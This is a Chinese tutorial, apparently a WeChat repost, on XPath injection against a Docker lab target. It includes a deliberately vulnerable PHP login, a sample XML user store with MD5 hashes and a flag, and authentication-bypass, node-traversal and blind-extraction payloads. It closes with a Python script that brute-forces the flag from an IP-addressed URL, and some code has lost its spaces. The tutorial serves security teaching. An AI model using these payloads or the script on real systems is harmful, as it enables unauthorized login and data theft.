Docker靶机:docker pull gqleung/xpath
XPath 是一门在 XML 文档中查找信息的语言。XPath 可用来在 XML 文档中对元素和属性进行遍历。简单的说就是把xml当做数据库,xpath类似于sql语句来查询xml,有查询就有注入。
https://www.w3school.com.cn/xpath/xpath_syntax.asp
<?xmlversion="1.0" encoding="UTF-8"?><root><users><user><id>1</id><username>admin</username><passwordtype="md5">0192023a7bbd73250516f069df18b500</password></user><user><id>2</id><username>jack</username><passwordtype="md5">1d6c1e168e362bc0092f247399003a88</password></user><user><id>3</id><username>tony</username><passwordtype="md5">cc20f43c8c24dbc0b2539489b113277a</password></user></users><secret><flag>flag{My_f1rst_xp4th_iNjecti0n}</flag></secret></root>
<?ph$xml=simplexml_load_file('users.xml');$name=$_GET['u']$pwd=md5($_GET['p']);$query="/root/users/user[username/text()='".$name."' and password/text()='".$pwd."']";echo$query;$result=$xml->xpath($query);if($result) { echo'<h2>Welcome</h2>'; foreach ($resultas$key=>$value) { echo'<br />ID:'.$value->id; echo'<br />Username:'.$value->username; }}
已知用户名情况
从代码看我们知道name是我们可控的点,因为pwd已经被md5加密无法控制。xpath和sql一样也能构造逻辑为1导致登陆。但是在xpath中是没有所谓的注释,必须巧妙地构造闭合。
/root/users/user[username/text()='' and password/text()='']
而php代码中,我们只需执行返回结果为ture即可
.....$result=$xml->xpath($query);if($result) {....
假设我们知道其中用户名为admin即可构造如下语句导致查询成功。
/root/users/user[username/text()='admin' or '1' and password/text()='']
简化为基本模型,很容易看出为何能够构造为Ture导致查询成功:
/root/users/user[username/text()='admin' or '0' ]
未知用户名情况
上面情况适用于已知用户的情况,但是如果并不知道用户名的情况呢?其实我们可以构造三个异或的情况导致登陆逻辑为True.
/root/users/user[username/text()='' or '1' or '1' and password/text()='']
将payload简化就如,这样就可以知道,三个之中只需一个为TURE
即可。
遍历子节点
|
|
//book/title | //book/price
|
选取 book 元素的所有 title 和 price 元素。
|
|
选取文档中的所有 title 和 price 元素。
|
/bookstore/book/title | //price
|
选取属于 bookstore 元素的 book 元素的所有 title 元素,以及文档中所有的 price 元素。
|
/root/users/user[username/text()=''] | //* | //*['' and password/text()='d41d8cd98f00b204e9800998ecf8427e']
其实这里真正起到遍历结点作用的只有//*
因为user[username/text()='']
可以知道没有用户名为空的。而后面的使用and
连接password/text()='d41d8cd98f00b204e9800998ecf8427e'
只会返回false
,故只有中间的//*
会选取文档中所有元素。导致结点遍历。
index.php?u='] | //* | //*['
|
|
|
|
|
|
|
从匹配选择的当前节点选择文档中的节点,而不考虑它们的位置。
|
|
|
|
|
|
|
https://www.w3school.com.cn/xpath/xpath_functions.asp)
|
|
|
|
|
|
|
|
|
|
codepoints-to-string(a, b, c, …)
|
将数字 a、b、c 转为对应的字符,Python 的chr 函数类似。
|
string-to-codepoints(string)
|
|
substring(string, start [,len])
|
返回从 start 位置开始的指定长度的子字符串。第一个字符的下标是 1。如果省略 len 参数,则返回从位置 start 到字符串末尾的子字符串。
|
|
返回指定字符串的长度。如果没有string 参数,则返回当前节点的字符串值的长度。
|
|
|
判断根节点数量
从基本语法可以知道count()
是返回结点数量,而/
是选取根节点
这里payload同样和万能密码一样才有三个or,只需我们猜对根节点数量即可返回正确页面。例如下面我们猜测根节点数为1返回正确页面,当然等于号可以使用大于小于来代替。
当count(/)=2时没有返回内容说明这里根节点就是1
猜测根节点名
猜测根节点名长度
' or string-length(name(/*[1]))>1 or '1
猜测根节点名字
' or substring(name(/*[1]), 1, 1)='r' or '1
这一点和sql注入别无二致。不细说。猜测成功即返回正确页面。否则为空
猜测子节点个数
' or count(/root/*)=2 or '1
猜测子节点名
' or substring(name(/root/*[1]), 1, 1)='u' or '1
猜测子节点值
' or substring((/root/secret/*[1]), 1, 1)='f' or '1
编写脚本盲注flag
importrequeststables = r'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_{}-'url='http://39.107.126.173:28835/index.php'flag = ''foriinrange(1,50): forjintables: payload = "?u=' or substring((/root/secret/*[1]), %s, 1)='%s' or '1"%(i,j) r = requests.get(url+payload) if'Welcome'inr.text: flag = flag+jprint(flag) break
原文始发于微信公众号(SAINTSEC):XML的Xpath注入攻击技术研究一
评论